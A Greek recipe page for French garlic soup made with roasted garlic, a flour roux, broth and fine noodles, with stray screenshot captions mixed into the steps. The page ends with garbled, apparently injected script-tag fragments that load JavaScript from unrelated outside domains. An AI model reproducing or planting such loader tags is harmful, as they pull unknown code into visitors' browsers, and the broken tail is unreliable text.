Γαλλική σούπα με σκόρδα

Αρχίστε με 4 κεφάλια σκόρδο, ένα για κάθε άτομο. Ελέγξτε τα σκόρδα να είναι υγιή, χωρίς μαυρίλες και, αν είναι δυνατόν, βιολογικά. Κόψτε κάθε κεφάλι στη μέση, αλλά μην το καθαρίσετε.

Screen Shot 2014-03-27 at 19.44.01Σ’ένα πυρίμαχο σκέυος, χύστε μια κούπα ελαιόλαδο και τοποθετείστε τα κομμένα κεφάλια μέσα στο λάδι. Ψήστε τα στο φούρνο για καμιά ώρα στους 160°C, μέχρι να μαλακώσουν καλά και να πάρουν ένα σκούρο χρώμα.

Screen Shot 2014-03-27 at 19.44.33Όταν θα είναι έτοιμα θα μπορείτε να σηκώσετε το πάνω μέρος του κάθε κεφαλιού εύκολα σαν καπέλο ενώ για το κάτω μισό θα χρειαστείτε βοήθεια από ένα μαχαίρι.

Screen Shot 2014-03-27 at 19.44.51Τοποθετείστε όλα τα ψημένα σκόρδα σε μια μεγάλη κατσαρόλα.

Screen Shot 2014-03-27 at 19.45.07Μαζέψτε το ελαιόλαδο από το πυρίμαχο σκεύος με τη βοήθεια λίγου αλευριού. Είναι ποτισμένο με τους χυμούς των σκόρδων και θα είναι κρίμα να πάει χαμένο. Βάλτε το μαζί με τα σκόρδα στην κατσαρόλα και με το εργαλείο που λυώνετε τις πατάτες για πουρέ, πιέστε τα να πολτοποιηθούν.

Screen Shot 2014-03-27 at 19.45.18Μόλις το αλεύρι ενωθεί με το ελαιόλαδο, ανοίξτε τη φωτιά και σοτάρετέ τα για 1 λεπτό.

Screen Shot 2014-03-27 at 19.45.32Προσθέστε 1 λίτρο ζεστό νερό ή ζωμό κοτόπουλου. Είναι σημαντικό να έχετε ένα απαλό μίγμα του ελαιολάδου με το αλεύρι και το σκόρδο πριν προσθέσετε το ζωμό για να πετύχετε μια καλά χυλωμένη σούπα.

Screen Shot 2014-03-27 at 19.45.44Προσθέστε κάποιο μυρωδικό, π.χ. θυμάρι και σιγοβράστε για 20’ περίπου.

Screen Shot 2014-03-27 at 19.45.57Σπάστε τα πιο λεπτά noodles που μπορείτε να βρείτε και προσθέστε τα στη σούπα. Συνεχίστε να σιγοβράζετε για λίγο ακόμη μέχρι να γίνουν τα noodles. Τέλος, αλατοπιπερώστε κατά βούληση και γαρνίρετε με μαϊντανό.

Screen Shot 2014-03-27 at 19.46.12Σερβίρετε με τραγανό σκορδόψωμο. Πάντως, με τη σούπα αυτή, δε θα σας ενοχλήσουν οι βρυκόλακες για τουλάχιστον ένα χρόνο.

Δείτε κι άλλες συνταγές εδώ

spoons.gr___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’> challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >